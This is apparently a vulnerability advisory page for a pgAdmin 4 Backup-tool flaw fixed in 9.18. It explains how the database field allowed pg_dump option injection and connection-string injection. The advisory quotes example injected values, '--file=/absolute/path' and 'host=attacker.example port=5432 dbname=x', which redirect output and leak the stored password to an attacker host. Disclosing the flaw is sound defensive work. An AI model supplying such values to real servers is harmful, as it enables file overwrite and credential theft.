pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool
Key facts
- Attack vector
- Network
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Attack requirements
- None
- Impact type
- Code execution
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Fixed
Attack profile from CVSS 4.0 · CNA. Fix status from CNA. Impact type from CWE-88.
Summary
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Total
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 | before 9.18 | 9.18 | Patch available | CNA |
- pgAdmin 4 Vendorpgadmin.org Affected before 9.18 Fixed in 9.18 Patch available CNA
CPE configurations NVD · 1
| CPE | Versions | Role | Vendor |
|---|---|---|---|
| cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:* | before 9.18 | Vulnerable | pgadmin.org |
- cpe:2.3:a:pgadmin:pgadmin_4:*:*:*:*:*:postgresql:*:* Versions before 9.18 Vulnerable ·pgadmin.org
Remediation
- Fix · CNA pgAdmin 4 (pgadmin.org) Fixed in 9.18
Fixed in the same release
Records fixed by the same vendor advisory or release, as the CNA lists them.
- Release ·
pgadmin.org pgAdmin 4 9.18
4 records Highest priority Priority MEDIUM 2 MEDIUM, 2 LOW
Other records, highest priority first
- TI-2026-59383 pgAdmin 4: Authentication bypass via a client-controlled identity header in Webserver authentication modePriority MEDIUM 49
- TI-2026-59382 pgAdmin 4: Connection-string injection via the database field in the Restore and Maintenance toolsPriority LOW 31
- TI-2026-59381 pgAdmin 4: File Manager save_file writes through a symbolic link planted after the containment checkPriority LOW 27
Vendor assessments
Timeline
- 2026-10-02 Threatist record created from CVE-2026-86864
- 2026-10-03 Alias added: GHSA-xrr3-3pj6-6gw9
References
More pgadmin.org Pgadmin 4 vulnerabilities
- TI-2024-01901 Unsafe Deserialisation and Remote Code Execution by an Authenticated user in pgAdmin 4 CVSS 3.1CRITICAL 9.9
- TI-2024-02918 Remote Code Execution Vulnerability through the validate binary path API in pgAdmin 4 CVSS 3.1CRITICAL 9.8
- TI-2022-03867 Code injection in pgadmin4 CVSS 3.1HIGH 8.8
- TI-2026-06875 pgAdmin 4: Cross-user data access and shared-server privilege escalation in server mode CVSS 4.0CRITICAL 9.4
- TI-2025-02572 pgAdmin 4: Remote Code Execution in Query Tool and Cloud Deployment CVSS 3.1CRITICAL 9.9
- TI-2023-00228 Path traversal in pgadmin CVSS 3.1MEDIUM 6.5
Sources
- CVE-2026-86864 · CVE Program
- CVE-2026-86864 · NVD
- FIRST EPSS
- GHSA-xrr3-3pj6-6gw9 · GitHub Advisory Database · CC BY 4.0
- CVE-2026-86864 · Red Hat security data · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences